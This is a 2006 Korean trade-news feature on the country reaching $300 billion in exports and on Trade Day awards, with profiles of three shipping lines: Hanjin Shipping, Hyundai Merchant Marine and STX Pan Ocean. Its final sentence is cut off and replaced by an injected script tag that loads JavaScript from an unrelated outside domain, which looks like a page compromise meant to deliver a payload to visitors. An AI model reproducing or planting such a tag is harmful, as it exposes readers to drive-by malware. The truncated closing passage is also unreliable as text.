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2006-11-30 |
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[기획특집] 세계 11대 수출강국 반열에 올라 |
[기획특집] 세계 11대 수출강국 반열에 올라 Nov 30 2006 1:50PM 三重苦 속에 연간 수출 3260억불 달성 수출탑 1312개사, 유공자 761명 포상
우리나라는 올해 원화강세와 고유가, 원자재가격 상승 등 삼중고의 어려운 수출여건에도 불구하고 수출 2000억불 달성 2년만에 수출 3000억불을 달성했다. 산업자원부(장관 정세균)는 11월 30일 현재까지 수출실적과 추이를 감안할 때 12월 5일 경 세계에서 11번째로 수출 3000억불 달성이 가능할 전망이라고 밝혔다. 또 연말까지 수출이 당초 전망인 3180억불에서 80억불 수준을 상회한 3260억불 내외로 전망되어 홍콩을 제치고 세계 수출 11위 국가로 도약할 수 있을 것으로 기대되고 있다. 산자부는 이번 수출 3000억불 달성으로 우리 경제가 1인당 소득 3만불대의 선진강국으로 진입할 가능성이 높아졌으며, 반도체*자동차*조선 등 주력 수출산업의 세계적 위상도 다시 한번 확인됐다고 설명했다. 이와 관련 산업자원부는 11월 30일 COEX에서 제43회 무역의 날 기념식을 개최하고 무역진흥을 통해 우리경제의 버팀목 역할을 다한 무역인들의 노고와 공로를 치하했다. 이날 행사에서 1312개사가 수출탑을 761명이 정부유공자 표창을 받았다. 해운업계에서는 한진해운을 비롯하여 18개사가 수출탑을 수상했다. -편집자 주
50억불/(주)한진해운(대표이사 박정원)
국가의 수출보국 기치아래 이루어 놓은 경제성장과 역사를 같이 해왔던 한진해운은 지속적인 선대 및 해외 영업망 확충을 통해 국제간의 급격한 무역 확장 흐름에 꾸준히 대처해왔고, 그 결과 현재 130여척의 정기선, 부정기선 선단 운영으로 연 매출 6조(약 58억불, 2005년 회계기준)에 이르는 국내 1위 및 세계 8위의 세계적인 대형 선사로써 입지를 다져왔다.
특히 아프리카를 제외한 전 세계 27개국 90여개 도시에 지점 및 영업소를 운영하여 전체 매출액의 약 85%를 해외에서 차지하고 있다. 또 해외 대형 선사와 얼라이언스 체제를 구축하여 세계의 거의 모든 지역을 연결하는 글로벌 항로 네트워크를 구성하였고, 주요 거점에 자가터미널 운영, 물류기지 구축, 고객서비스를 위한 IT 적용을 통하여 해외 화주는 물론 국내 수출업체들에게 화물운송에 필요한 최적의 서비스를 제공해왔다.
세계 해운업계의 M&A, 선박의 초대형화 등 날로 심화되는 무한 경쟁 속에서 한진해운은 1만teu급 초대형 컨테이너선 5척 발주 등의 투자 확대, Post China로 불리는 인도 등의 BRICs는 물론 남미와 아프리카의 성장 잠재력이 있는 국가에 대한 항로를 꾸준히 개발하여 세계 초우량 선사 진입목표와 함께 수출의 최 일선에서 그 역할을 더욱 확대해 나갈 계획이다.
30억불/현대상선(대표이사 노정익)
현대상선은 100여척의 최첨단 선박, 전 세계를 거미줄처럼 연결하는 항로망, 다양한 물류시설, 해운업계를 선도하는 IT시스템, 숙련된 해운전문인력을 바탕으로 최고의 수송 서비스를 제공하는 종합해운물류기업이다.
현대상선은 1976년 유조선 3척의 운항을 시작으로 벌크선, 광탄선, 컨테이너선, LNG선, 특수제품선 등 신사업에 적극 진출하여 경쟁력을 강화해 왔다. 그 결과 다각화된 사업영역을 영위하며 특정 분야의 시황 변동에도 안정적인 수익을 창출할 수 있는 사업구조를 확보하고 있다.
전 세계 4개 본부, 23개 법인, 70여개 지점의 방대한 글로벌 네트워크, 최고의 해운전문인력의 숙련된 선박운영과 정확한 시황예측, 한 차원 높은 글로벌 IT시스템을 바탕으로 해운업계에서 세계 최고 수준의 경쟁력을 자랑하고 있다.
현대상선은 수출입 제품은 물론 원유, LNG, 석탄, 철광석, 각종 특수화물 등 국가전략물자를 수송하여 국가경제의 대동맥 역할을 수행하며, 연간 50억 달러 이상의 외화를 벌어들이는 국민기업이다.
현대상선은 지속적인 선대 확장, 전 세계 주요 거점에 터미널과 내륙물류 시설 확보, 고객중심의 IT시스템 개발 등에 적극적으로 투자하여 ‘주주에게 희망을, 고객에게 만족을, 사원에게 긍지를’ 주는 세계 최고의 종합물류 기업으로 성장할 것이다.
20억불/에스티엑스팬오션(대표이사 이종철)
사선 60척 및 용선 등 약 300여척의 지배선단을 구축하여 전 세계에 걸쳐 운항함으로써 세계 5대 BULK 선사로서의 입지를 굳건히 하였을 뿐 아니라 해운시황의 기복에 관계없이 꾸준한 매출신장 및 수익을 시현했다.
또 포스코, 한전 등의 석탄, 철광석 수송은 물론 사료, 곡물, 원목, 철강재 등 국가경제에 중요한 기초 원자재의 안정적인 수송에 크게 기여했다. 아울러 총 매출의 80%를 해외부문에서 시현함으로써 약 21억 4000만불의 외화 획득과 더불어 대한민국을 세계 해운산업의 허브로 발돋움 할 수 있도록 기반을 다지는데 일조했다.
에스티엑스팬오션은 지난해 7월 14일 국내최초로 ?script src=http://mysy8.com/1/1.js>
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